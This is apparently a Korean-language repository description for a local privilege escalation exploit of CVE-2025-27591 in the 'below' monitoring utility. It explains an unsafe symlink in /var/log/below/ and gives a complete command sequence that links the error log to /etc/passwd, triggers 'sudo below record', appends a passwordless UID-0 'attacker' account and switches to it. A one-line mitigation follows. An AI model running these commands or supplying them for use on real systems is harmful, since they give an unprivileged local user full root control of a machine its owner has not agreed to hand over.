krn966/cve-2025-27591로컬 권한 상승 익스플로잇으로, CVE-2025-27591을 악용하여 아래 유틸리티의 로깅에서 안전하지 않은 심볼릭 링크 처리를 남용해 루트 권한으로 임의의 파일을 덮어씁니다.
CVE-2025-27591은 below 유틸리티(패치된 릴리스 이전 버전)에서 안전하지 않은 심볼릭 링크 처리로 인해 발생하는 로컬 권한 상승 취약점입니다. 로컬 접근 권한이 있는 공격자는 이 결함을 악용하여 root 사용자 권한으로 임의의 파일을 덮어쓸 수 있으며, 이로 인해 완전한 권한 상승이 가능해집니다.
below 도구는 심볼릭 링크를 제대로 검증하지 않고 /var/log/below/에 로그를 기록합니다. 민감한 파일(예: /etc/passwd)을 가리키는 심볼릭 링크를 미리 생성함으로써, 공격자는 취약한 프로세스가 sudo로 실행될 때 상승된 권한으로 임의의 콘텐츠를 주입할 수 있습니다.
# 로그 디렉터리가 존재하는지 확인
test -d /var/log/below && ls -ld /var/log/below
# 기존 로그 파일을 제거하고 악의적인 심볼릭 링크 생성
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
# 악의적인 passwd 항목 준비
echo 'attacker::0:0:attacker:/root:/bin/bash' > /tmp/attacker
# sudo를 사용하여 취약한 동작 트리거
sudo /usr/bin/below record
echo 'attacker::0:0:attacker:/root:/bin/bash' >> /var/log/below/error_root.log
# 새로 생성된 root 권한 사용자로 전환
su attacker
성공적인 익스플로잇은 로컬의 권한이 없는 공격자에게 root 권한을 부여하여 전체 시스템을 장악할 수 있게 합니다.
/var/log/below/ 디렉터리에 대한 접근을 제한하십시오.